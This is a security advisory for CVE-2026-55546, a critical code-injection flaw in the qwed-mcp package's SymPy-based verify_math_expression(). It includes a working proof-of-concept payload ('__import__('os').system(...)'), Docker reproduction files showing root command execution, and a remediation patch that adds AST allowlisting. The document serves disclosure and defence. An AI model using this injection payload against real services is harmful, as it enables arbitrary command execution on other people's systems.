critical

CVE-2026-55546

PyPI · qwed-mcp

Summary

qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input

Severity
critical
CVSS
9.8
EPSS
0.7% (p54)
CWE
CWE-94
Also known as
GHSA-mw6r-2hvm-4rp2
Published
2026-08-25
Updated
2026-08-25

Advisory details

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)
# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

  1. Source — math_engine.py:13-16: external caller supplies expression and claimed_result.
  2. Propagation — math_engine.py:50-54: expression substituted and forwarded to parse_expr().
  3. Propagation — math_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
  4. Sink — sympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.

Remediation

Apply AST allowlisting and restrict global_dict before every parse_expr() call:

--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
 import logging
+import ast
 from typing import Optional

+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+    ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+    tree = ast.parse(expr.replace("^", "**"), mode="eval")
+    for node in ast.walk(tree):
+        if not isinstance(node, ALLOWED_AST):
+            raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+            raise ValueError(f"Unsupported symbol: {node.id}")
+        if isinstance(node, ast.Call):
+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+                raise ValueError("Only approved math functions are allowed")
+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+            raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
-            expr = parse_expr(
+            _validate_math_syntax(expression)
+            expr = parse_expr(
                 expression.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )
-            claimed = parse_expr(
+            _validate_math_syntax(claimed_result)
+            claimed = parse_expr(
                 claimed_result.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )

Impact

Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:

The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

LABEL vuln="VULN-001" \
      title="Unsafe SymPy parse_expr() RCE" \
      cwe="CWE-94" \
      target="QWED-AI/qwed-mcp@0.2.0"

WORKDIR /app

# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src

# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"

# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py

# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src

CMD ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 Proof of Concept
=========================
Target  : QWED-AI/qwed-mcp v0.2.0
Module  : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)

Root cause
--------

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.